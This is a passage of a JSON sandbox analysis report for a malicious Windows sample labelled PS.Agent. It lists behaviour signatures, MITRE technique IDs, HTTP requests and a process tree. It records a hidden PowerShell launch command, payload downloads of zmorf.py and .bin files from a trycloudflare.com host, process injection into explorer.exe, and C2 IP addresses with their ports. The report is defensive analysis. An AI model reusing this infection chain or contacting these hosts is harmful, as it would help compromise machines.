Signature","mitre_attack_id":"T1027.013","relevance":1,"id":"yara-155","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used to find and list the Windows drive types","description":"\"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00003044)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter Z:\\ (UID: 00000000-00003044)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00005872)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter Z:\\ (UID: 00000000-00005872)","origin":"API Call","mitre_attack_id":"T1082","relevance":10,"id":"api-110","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Uses powershell to execute new process","description":"Process \"powershell.exe\" with commandline \"powershell -WindowStyle Hidden -Command \"Start-Process -FilePath 'C:\\\\2cab35576d40a8dd509ec54d0a6654597f2566f1e2fb0fa1635573c391c60a1d.bin.bat' -ArgumentList 'h' -WindowStyle Hidden\"\" (UID: 00000000-00003044)","origin":"Monitored Target","mitre_attack_id":"T1543","relevance":5,"id":"target-249","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_101rittz.p4e.ps1\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_fpsdrg3m.qbj.psm1\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_x0ien3mv.x3r.ps1\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_kjwqxdww.vgw.psm1\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_101rittz.p4e.ps1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_fpsdrg3m.qbj.psm1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_x0ien3mv.x3r.ps1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_kjwqxdww.vgw.psm1\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"powershell.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"0100000000\")\n \"cmd.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"0100000000\")","origin":"Registry Access","mitre_attack_id":"T1090.001","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Creates a process in suspended mode (likely for process injection)","description":"\"cmd.exe\" called \"CreateProcessW\" with parameter \"\"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe\" --single-argument https://opposite-lodge-strict-closes.trycloudflar\" - (UID: 00000000-00002240)\n \"powershell.exe\" called \"CreateProcessW\" with parameter \"\"C:\\2cab35576d40a8dd509ec54d0a6654597f2566f1e2fb0fa1635573c391c60a1d.bin.bat\" h\" - (UID: 00000000-00003044)\n \"cmd.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\py.exe\" \"%LOCALAPPDATA%\\xt\\zmorf.py\" -i s2.bin -k s2.txt -c -v\" - (UID: 00000000-00003108)\n \"python.exe\" called \"CreateProcessA\" with parameter \"explorer.exe\" - (UID: 00000000-00007628)\n \"python.exe\" called \"CreateProcessA\" with parameter \"explorer.exe\" - (UID: 00000000-00007708)","origin":"API Call","mitre_attack_id":"T1055","relevance":10,"id":"api-129","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Windows system process connects to a network","description":"Process \"explorer.exe\" connects to 91.92.240.127:6000\n Process \"explorer.exe\" connects to 91.92.242.249:7377","origin":"Monitored Target","mitre_attack_id":"T1055","relevance":7,"id":"target-269","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"malicious","category":"General","name":"Execute Python scripts with dropped interpreter (Python execution from different path)","description":"Process \"python.exe\" with commandline \"python zmorf.py -i BB1.bin -k BB1.txt -c -v\" (UID: 00000000-00007628)\n Process \"python.exe\" with commandline \"python zmorf.py -i s1.bin -k s1.txt -c -v\" (UID: 00000000-00007708)","origin":"Monitored Target","mitre_attack_id":"T1059.006","relevance":5,"id":"target-182","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"\"python.exe\" wrote 00000FB8 bytes to a remote process \"C:\\Windows\\explorer.exe\" (Handle: 372)\n \"python.exe\" wrote 00000008 bytes to a remote process \"C:\\Windows\\explorer.exe\" (Handle: 372)\n \"python.exe\" wrote 00001000 bytes to a remote process \"C:\\Windows\\explorer.exe\" (Handle: 372)\n \"python.exe\" wrote 00000902 bytes to a remote process \"C:\\Windows\\explorer.exe\" (Handle: 372)\n \"python.exe\" wrote 00000F02 bytes to a remote process \"C:\\Windows\\explorer.exe\" (Handle: 372)","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"malicious","category":"Network Related","name":"Makes HTTPS connections using an insecure TLS/SSL version","description":"Connection was made using TLSv1.0 [tls.handshake.version: 0x0301]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":10,"id":"network-53","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"malicious","category":"Network Related","name":"Uses network protocols on unusual ports","description":"TCP traffic to 91.92.242.249 on port 7377\n TCP traffic to 91.92.240.127 on port 6000","origin":"Network Traffic","mitre_attack_id":"T1571","relevance":7,"id":"network-7","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"$61","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]}],"incidents":[{"name":"Persistence","details_count":3,"details":[{"detail":"Writes data to a remote process"},{"detail":"Spawns a lot of processes"},{"detail":"Writes a file to the startup folder"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"Evasive","details_count":1,"details":[{"detail":"Writes archive files"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 2 domains and 2 hosts"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]}]},"activity":{"stats":{"process_count":38,"spawned_processes_count":38,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":39,"imported_dlls_count":235,"dropped_files_count":0,"extracted_files_count":32,"files_written_count":46,"files_deleted_count":0,"registry_keys_created_count":30,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":30,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":4,"dns_resolutions_count":2,"contacted_urls_count":8,"http_requests_count":8},"behavior_tags":null,"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"69c5a0b938d88758150336f9","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"PS.Agent","contacted_countries":["DEU","NLD","USA"],"submit_name":"2cab35576d40a8dd509ec54d0a6654597f2566f1e2fb0fa1635573c391c60a1d.bin","analysis_start_time":"2026-03-26T21:10:18+00:00","indicators_count":{"informative":179,"suspicious":46,"malicious":9},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"104.16.231.132","port":443,"protocol":"TCP","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"address":"167.82.48.223","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"address":"91.92.242.249","port":7377,"protocol":"TCP","country":"Netherlands","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"address":"91.92.240.127","port":6000,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]}],"dns_resolutions":[{"domain":"opposite-lodge-strict-closes.trycloudflare.com","address":"104.16.231.132","ttl":300,"country":"-","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"domain":"www.python.org","address":"167.82.48.223","ttl":5034,"country":"United States","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]}],"http_requests":[{"host":"opposite-lodge-strict-closes.trycloudflare.com","host_ip":"104.16.231.132:443","url":"/xt/zmorf.py","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /xt/zmorf.py HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248\nHost: opposite-lodge-strict-closes.trycloudflare.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"host":"opposite-lodge-strict-closes.trycloudflare.com","host_ip":"104.16.231.132:443","url":"/xt/BB1.bin","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /xt/BB1.bin HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248\nHost: opposite-lodge-strict-closes.trycloudflare.com","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"host":"opposite-lodge-strict-closes.trycloudflare.com","host_ip":"104.16.231.132:443","url":"/xt/BB1.txt","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /xt/BB1.txt HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248\nHost: opposite-lodge-strict-closes.trycloudflare.com","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"host":"opposite-lodge-strict-closes.trycloudflare.com","host_ip":"104.16.231.132:443","url":"/xt/s1.bin","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /xt/s1.bin HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248\nHost: opposite-lodge-strict-closes.trycloudflare.com","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"host":"opposite-lodge-strict-closes.trycloudflare.com","host_ip":"104.16.231.132:443","url":"/xt/s1.txt","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /xt/s1.txt HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248\nHost: opposite-lodge-strict-closes.trycloudflare.com","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"host":"opposite-lodge-strict-closes.trycloudflare.com","host_ip":"104.16.231.132:443","url":"/xt/s2.bin","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /xt/s2.bin HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248\nHost: opposite-lodge-strict-closes.trycloudflare.com","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"host":"opposite-lodge-strict-closes.trycloudflare.com","host_ip":"104.16.231.132:443","url":"/xt/s2.txt","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /xt/s2.txt HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248\nHost: opposite-lodge-strict-closes.trycloudflare.com","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"host":"opposite-lodge-strict-closes.trycloudflare.com","host_ip":"104.16.231.132:443","url":"/G143822563.pdf","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /G143822563.pdf HTTP/2\nHost: opposite-lodge-strict-closes.trycloudflare.com\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.56\nSec-Fetch-Mode: navigate\nSec-Ch-Ua: \"Microsoft Edge\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nSec-Ch-Ua-Mobile: ?0\nSec-Fetch-Site: none\nAccept-Language: en-US,en;q=0.9\nSec-Ch-Ua-Platform: \"Windows\"\nUpgrade-Insecure-Requests: 1\nSec-Fetch-User: ?1\nAccept-Encoding: gzip, deflate, br\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nSec-Fetch-Dest: document","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}],"processes":[{"pid":2240,"ppid":0,"name":"cmd.exe","command_line":"/c \"\"C:\\2cab35576d40a8dd509ec54d0a6654597f2566f1e2fb0fa1635573c391c60a1d.bin.bat\" \"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\system32\\cmd.exe","uid":"00000000-00002240","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAACWklEQVR4Xu2U208aQRSH/ef70KQvfWgbpQoYxaCNtSByWy7bEqiwVloVZFFAhXjvA3d4OZ3fKBuyDGYWo33ZSU6YwML3zTm/YW7OXvZ6XG/evqPXLDP/xQS+p9LCVzOfCwyHwxerwWBglGWBau2MAmGFWu023d3/pU1/gI718sRz02oc3u/3rQkAvuBepZ14iku4PV4KqWn64HBNPCsqM9yyAMrp2aDC2RUF4j8oltHoz+kFLa56DUHz80/Be72enABa/PGzm8N9kSQVz6/oqHZJh9UGHVTq9DWo0OKKl+ZdK0KJaXBpAcw5ltaoVL+l44sbJpHg7UdthWK8C79PzskXTfLRyMKlBRA2wNRcng4rDb4ffYY9uuBXVCOcsvButysngB/FjyNwaLtIQEnn+B6ysnBpAcDDaobKjTvSG7e81aMRfAvHH7JwWqdgMk2bvoA0XFoAwXIse8i19oX8UZVl4YZl4ZqHscDCuMUklthNwHUslnQO3tV+UTShPgnvdDpyAiMJvLrWNkhnYVSzedpJpNiVvKQlz7rR9kA4SgvOZf6ckxX226GIEG5JYFS4jrHHeWM0kMCfU6Va4wIAZvJFyus12i9VKbV3QPPsPRF8JgH8J+BaImwP4YwacIW1HCcH/P0nBy+tcMLGs04/s9oEvM2+b1nAXOOB283t8bbj5COB3FGZ5yMST07Any0gSjtGgLbj5IAns/t8BCL4swREcAQNgQMQbcfJsfcHI0J4q9WaTWAafPyqQSTD5j7t5IDPJCADF6VdBG82m9MFXrPMfHvZy17/bf0DbjT7Mj+JPksAAAAASUVORK5CYII="},{"pid":4204,"ppid":2240,"name":"msedge.exe","command_line":"--single-argument https://opposite-lodge-strict-closes.trycloudflare.com/G143822563.pdf","sha256":"accd0aa3ae9f8b376215e8dd833ee762f2a7cdc6535eb27df0e670e9e689b620","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00002240","uid":"00000000-00004204"},{"pid":3720,"ppid":4204,"name":"msedge.exe","command_line":"--type=crashpad-handler \"--user-data-dir=%LOCALAPPDATA%\\Microsoft\\Edge\\User Data\" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler \"--database=%LOCALAPPDATA%\\Microsoft\\Edge\\User Data\\Crashpad\" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=107.0.5304.110 \"--annotation=exe=%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe\" --annotation=plat=Win64 \"--annotation=prod=Microsoft Edge\" --annotation=ver=107.0.1418.56 --initial-client-data=0xc8,0xcc,0xd0,0xa4,0x158,0x7ffab255b208,0x7ffab255b218,0x7ffab255b228","sha256":"accd0aa3ae9f8b376215e8dd833ee762f2a7cdc6535eb27df0e670e9e689b620","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00004204","uid":"00000000-00003720"},{"pid":6192,"ppid":4204,"name":"msedge.exe","command_line":"--type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1864 --field-trial-handle=1848,i,4256035520372657466,384317733196221901,131072 /prefetch:2","sha256":"accd0aa3ae9f8b376215e8dd833ee762f2a7cdc6535eb27df0e670e9e689b620","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00004204","uid":"00000000-00006192"},{"pid":6140,"ppid":4204,"name":"msedge.exe","command_line":"--type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1960 --field-trial-handle=1848,i,4256035520372657466,384317733196221901,131072 /prefetch:3","sha256":"accd0aa3ae9f8b376215e8dd833ee762f2a7cdc6535eb27df0e670e9e689b620","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00004204","uid":"00000000-00006140"},{"pid":7120,"ppid":4204,"name":"msedge.exe","command_line":"--type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2180 --field-trial-handle=1848,i,4256035520372657466,384317733196221901,131072 /prefetch:8","sha256":"accd0aa3ae9f8b376215e8dd833ee762f2a7cdc6535eb27df0e670e9e689b620","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00004204","uid":"00000000-00007120"},{"pid":2072,"ppid":4204,"name":"msedge.exe","command_line":"--type=renderer --display-capture-permissions-policy-allowed --js-flags=--ms-user-locale= --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --time-ticks-at-unix-epoch=-1774581964774658 --launch-time-ticks=2684642796 --mojo-platform-channel-handle=2960 --field-trial-handle=1848,i,4256035520372657466,384317733196221901,131072 /prefetch:1","sha256":"accd0aa3ae9f8b376215e8dd833ee762f2a7cdc6535eb27df0e670e9e689b620","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00004204","uid":"00000000-00002072"},{"pid":3636,"ppid":4204,"name":"msedge.exe","command_line":"--type=renderer --display-capture-permissions-policy-allowed --js-flags=--ms-user-locale= --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --time-ticks-at-unix-epoch=-1774581964774658 --launch-time-ticks=2684910788 --mojo-platform-channel-handle=3116 --field-trial-handle=1848,i,4256035520372657466,384317733196221901,131072 /prefetch:1","sha256":"accd0aa3ae9f8b376215e8dd833ee762f2a7cdc6535eb27df0e670e9e689b620","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00004204","uid":"00000000-00003636"},{"pid":4648,"ppid":4204,"name":"msedge.exe","command_line":"--type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=3420 --field-trial-handle=1848,i,4256035520372657466,384317733196221901,131072 /prefetch:8","sha256":"accd0aa3ae9f8b376215e8dd833ee762f2a7cdc6535eb27df0e670e9e689b620","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00004204","uid":"00000000-00004648"},{"pid":4992,"ppid":4204,"name":"msedge.exe","command_line":"--type=renderer --extension-process --display-capture-permissions-policy-allowed --js-flags=--ms-user-locale= --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --time-ticks-at-unix-epoch=-1774581964774658 --launch-time-ticks=2687130330 --mojo-platform-channel-handle=4984 --field-trial-handle=1848,i,4256035520372657466,384317733196221901,131072 /prefetch:1","sha256":"accd0aa3ae9f8b376215e8dd833ee762f2a7cdc6535eb27df0e670e9e689b620","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00004204","uid":"00000000-00004992"},{"pid":5756,"ppid":4204,"name":"msedge.exe","command_line":"--type=ppapi --lang=en-US --device-scale-factor=1 --ppapi-antialiased-text-enabled=1 --ppapi-subpixel-rendering-setting=1 --mojo-platform-channel-handle=5144 --field-trial-handle=1848,i,4256035520372657466,384317733196221901,131072 /prefetch:6","sha256":"accd0aa3ae9f8b376215e8dd833ee762f2a7cdc6535eb27df0e670e9e689b620","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00004204","uid":"00000000-00005756"},{"pid":1084,"ppid":4204,"name":"msedge.exe","command_line":"--type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=6120 --field-trial-handle=1848,i,4256035520372657466,384317733196221901,131072 /prefetch:8","sha256":"accd0aa3ae9f8b376215e8dd833ee762f2a7cdc6535eb27df0e670e9e689b620","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00004204","uid":"00000000-00001084"},{"pid":3160,"ppid":4204,"name":"msedge.exe","command_line":"--type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5760 --field-trial-handle=1848,i,4256035520372657466,384317733196221901,131072 /prefetch:8","sha256":"accd0aa3ae9f8b376215e8dd833ee762f2a7cdc6535eb27df0e670e9e689b620","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00004204","uid":"00000000-00003160"},{"pid":408,"ppid":4204,"name":"msedge.exe","command_line":"--type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=6312 --field-trial-handle=1848,i,4256035520372657466,384317733196221901,131072 /prefetch:8","sha256":"accd0aa3ae9f8b376215e8dd833ee762f2a7cdc6535eb27df0e670e9e689b620","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00004204","uid":"00000000-00000408"},{"pid":7672,"ppid":4204,"name":"msedge.exe","command_line":"--type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4328 --field-trial-handle=1848,i,4256035520372657466,384317733196221901,131072 /prefetch:8","sha256":"accd0aa3ae9f8b376215e8dd833ee762f2a7cdc6535eb27df0e670e9e689b620","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00004204","uid":"00000000-00007672"},{"pid":4684,"ppid":4204,"name":"msedge.exe","command_line":"--type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2504 --field-trial-handle=1848,i,4256035520372657466,384317733196221901,131072 /prefetch:8","sha256":"accd0aa3ae9f8b376215e8dd833ee762f2a7cdc6535eb27df0e670e9e689b620","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00004204","uid":"00000000-00004684"},{"pid":3224,"ppid":4204,"name":"msedge.exe","command_line":"--type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2476 --field-trial-handle=1848,i,4256035520372657466,384317733196221901,131072 /prefetch:8","sha256":"accd0aa3ae9f8b376215e8dd833ee762f2a7cdc6535eb27df0e670e9e689b620","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00004204","uid":"00000000-00003224"},{"pid":5920,"ppid":4204,"name":"msedge.exe","command_line":"--type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1732 --field-trial-handle=1848,i,4256035520372657466,384317733196221901,131072 /prefetch:8","sha256":"accd0aa3ae9f8b376215e8dd833ee762f2a7cdc6535eb27df0e670e9e689b620","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00004204","uid":"00000000-00005920"},{"pid":7232,"ppid":4204,"name":"msedge.exe","command_line":"--type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.16299.192 --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=5668 --field-trial-handle=1848,i,4256035520372657466,384317733196221901,131072 /prefetch:2","sha256":"accd0aa3ae9f8b376215e8dd833ee762f2a7cdc6535eb27df0e670e9e689b620","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00004204","uid":"00000000-00007232"},{"pid":2876,"ppid":4204,"name":"msedge.exe","command_line":"--type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2532 --field-trial-handle=1848,i,4256035520372657466,384317733196221901,131072 /prefetch:8","sha256":"accd0aa3ae9f8b376215e8dd833ee762f2a7cdc6535eb27df0e670e9e689b620","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00004204","uid":"00000000-00002876"},{"pid":1080,"ppid":4204,"name":"msedge.exe","command_line":"--type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5904 --field-trial-handle=1848,i,4256035520372657466,384317733196221901,131072 /prefetch:8","sha256":"accd0aa3ae9f8b376215e8dd833ee762f2a7cdc6535eb27df0e670e9e689b620","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00004204","uid":"00000000-00001080"},{"pid":5420,"ppid":4204,"name":"msedge.exe","command_line":"--type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2532 --field-trial-handle=1848,i,4256035520372657466,384317733196221901,131072 /prefetch:8","sha256":"accd0aa3ae9f8b376215e8dd833ee762f2a7cdc6535eb27df0e670e9e689b620","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00004204","uid":"00000000-00005420"},{"pid":4424,"ppid":4204,"name":"msedge.exe","command_line":"--type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5704 --field-trial-handle=1848,i,4256035520372657466,384317733196221901,131072 /prefetch:8","sha256":"accd0aa3ae9f8b376215e8dd833ee762f2a7cdc6535eb27df0e670e9e689b620","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00004204","uid":"00000000-00004424"},{"pid":8032,"ppid":4204,"name":"msedge.exe","command_line":"--type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4316 